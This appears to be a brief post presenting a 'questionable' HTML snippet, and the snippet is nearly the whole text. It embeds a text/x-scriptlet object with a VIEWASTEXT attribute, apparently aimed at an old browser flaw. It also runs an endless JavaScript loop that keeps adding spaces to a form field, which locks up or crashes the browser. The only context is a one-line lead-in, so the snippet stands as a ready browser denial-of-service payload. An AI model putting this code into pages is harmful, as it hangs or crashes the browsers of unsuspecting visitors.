Here's the questionable content in text/plain:
=====
<object id="test" data="#" width="100%" height="100%" type="text/x-scriptlet" 
VIEWASTEXT></object>

<form name="form"><input type="text" name="box"><form>

<script language="javascript">
while(true) { document.form.box.value=document.form.box.value + ' '; }
</script>
